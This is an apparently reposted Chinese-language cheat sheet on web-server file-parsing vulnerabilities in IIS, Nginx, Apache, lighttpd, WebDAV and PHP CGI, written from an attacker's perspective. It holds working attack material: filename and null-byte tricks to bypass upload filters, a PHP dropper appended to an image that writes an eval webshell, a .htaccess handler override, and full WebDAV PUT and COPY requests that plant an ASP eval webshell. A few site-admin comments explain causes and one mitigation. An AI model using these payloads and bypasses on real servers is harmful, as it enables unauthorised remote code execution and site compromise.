文件解析漏洞匯總
解析漏洞正如其名，一般大家常說的是，文件在某種格式下，會被執行為該腳本語言的文件。
文件上傳漏洞通常與Web容器的解析漏洞配合利用
常見Web容器有IIS、Nginx、Apache、Tomcat等
好了正文開始匯總了，反正都轉載貼的，我自己也忘了在哪裏看到的了，就不註明轉貼地址了。
IIS 6.0解析漏洞
目錄解析：/xx.asp/xx.jpg xx.jpg可替換為任意文本文件(e.g. xx.txt)，文本內容為後門代碼
IIS6.0 會將 xx.jpg 解析為 asp 文件。
後綴解析：/xx.asp;.jpg /xx.asp:.jpg(此處需抓包修改文件名)
IIS6.0 都會把此類後綴文件成功解析為 asp 文件。
（站長評論：IIS6.0解析漏洞的成因，可以查閱羅哥寫的一篇短文：IIS 文件名解析漏洞扼要分析）
{/xx.asp:.jpg 此類文件在Windows下不允許存在，:.jpg被自動除去，剩下/xx.asp}
（站長評論：發現錯誤，並不是不允許存在，這種路徑叫做“NTFS數據流”，具體見：IIS6使用冒號上傳漏洞，發現IIS6漏洞(上傳利用) 底下的評論）
默認解析：/xx.asa /xx.cer /xx.cdx
IIS6.0 默認的可執行文件除了 asp 還包含這三種
（站長評論：這種主要是由於在 IIS 默認配置中，這幾個後綴默認由 asp.dll 來解析，所以執行權限和 .asp 一摸一樣，你可在配置中自行刪除該後綴，以防止安全隱患）
此處可聯系利用目錄解析漏洞 /xx.asa/xx.jpg 或 /xx.cer/xx.jpg 或 xx.asa;.jpg
IIS 7.0/IIS 7.5/Nginx <=0.8.37 解析漏洞
IIS 7.0/IIS 7.5/Nginx <=0.8.37
在默認Fast-CGI開啟狀況下,在一個文件路徑(/xx.jpg)後面加上/xx.PHP會將 /xx.jpg/xx.php 解析為 php 文件。
常用利用方法： 將一張圖和一個寫入後門代碼的文本文件合並 將惡意文本寫入圖片的二進制代碼之後，避免破壞圖片文件頭和尾
e.g. copy xx.jpg/b + yy.txt/a xy.jpg
######################################
/b 即二進制[binary]模式
/a 即ascii模式 xx.jpg正常圖片文件
yy.txt 內容 <?PHP fputs(fopen(‘shell.php‘,‘w‘),‘<?php eval($_POST[cmd])?>‘);?>
意思為寫入一個內容為 <?php eval($_POST[cmd])?> 名稱為shell.php的文件
######################################
找個地方上傳 xy.jpg ,然後找到 xy.jpg 的地址，在地址後加上 /xx.php 即可執行惡意文本。
然後就在圖片目錄下生成一句話木馬 shell.php 密碼 cmd
Nginx <=0.8.37 解析漏洞
在Fast-CGI關閉的情況下，Nginx <=0.8.37 依然存在解析漏洞
在一個文件路徑(/xx.jpg)後面加上%00.php會將 /xx.jpg%00.php 解析為 php 文件。
（站長評論：從 /test.jpg/x.php 演變過來的，具體可以參考：Ngnix 空字節可遠程執行代碼漏洞）
Apache 解析漏洞
後綴解析：test.php.x1.x2.x3
Apache將從右至左開始判斷後綴，若x3非可識別後綴，再判斷x2，直到找到可識別後綴為止，然後將該可識別後綴進解析
test.php.x1.x2.x3 則會被解析為php
經驗之談：php|php3|phtml 多可被Apache解析
（站長評論：關於 apache 解析漏洞可以查閱“Apache 漏洞之後綴名解析漏洞”）
--------------------------------------------------------------------------------------------------------------
Apache 是從右到左開始判斷解析,如果為不可識別解析,就再往左判斷.
比如 cracer.php.owf.rar “.owf”和”.rar” 這兩種後綴是apache不可識別解析,apache就會把cracer.php.owf.rar解析成php.
如何判斷是不是合法的後綴就是這個漏洞的利用關鍵,測試時可以嘗試上傳一個cracer.php.rara.jpg.png…（把你知道的常見後綴都寫上…）去測試是否是合法後綴。
其他一些可利用的 解析漏洞
在windows環境下，xx.jpg[空格] 或xx.jpg. 這兩類文件都是不允許存在的，若這樣命名，windows會默認除去空格或點，這也是可以被利用的！
在向一臺windows主機上傳數據時，你可以抓包修改文件名，在後面加個空格或點，試圖繞過黑名單，若上傳成功，最後的點或空格都會被消除，這樣就可得到shell。
我記得Fck Php 2.6就存在加空格繞過的漏洞。{Linux主機中不行，Linux允許這類文件存在}
如果在Apache中.htaccess可被應用（Apache的配置文件httpd.conf中對目錄的AllowOverride設置為All時，apache會應用目錄下.htaccess中的配置 By sfasfas），
且可以被上傳，那可以嘗試在.htaccess中寫入:
<FilesMatch “shell.jpg”> SetHandler application/x-httpd-php </FilesMatch>
shell.jpg換成你上傳的文件，這樣shell.jpg就可解析為php文件
lighttpd 解析漏洞
xx.jpg/xx.php
WebDav漏洞
WebDav是一種基於HTTP1.1協議的通信協議，它擴展了HTTP協議。在開啟WebDav後若
支持PUT、Move、Copy、Delete等方法，就會存在安全隱患。
測試步驟如下：
1）通過OPTIONS探測服務器所支持的HTTP方法
請求：
OPTIONS / HTTP/1.1
Host: http://www.xxxx.com
2)通過PUT方法向服務器上傳shell
請求：
PUT /a.txt HTTP/1.1
Host: http://www.xxxx.com
Content-Length: 30
<%eval request("chopper") %>
3)通過Move或Copy方法改名
請求：
COPY /a.txt HTTP/1.1
Host: http://www.xxxx.com
Destination: http://www.xxxx.com/cmd.asp
4)用DELETE方法刪除文件
請求：
DELETE /a.txt HTTP/1.1
Host: http://www.xxxx.com
註：可用桂林老兵的IIS Write快速探測服務器是否存在WebDav漏洞
PHP CGI解析漏洞
當php的配置文件中的選項cgi.fix_pathinfo = 1開啟時，當訪問http://www.xxx.com/x.txt/x.php
時，若x.php不存在，則PHP會遞歸向前解析，將x.txt當作php腳本來解析
IIS中：任意文件名/任意文件名.php就會被解析為php
Nginx中：任意文件名/任意文件名.php就會被解析為php
文件解析漏洞匯總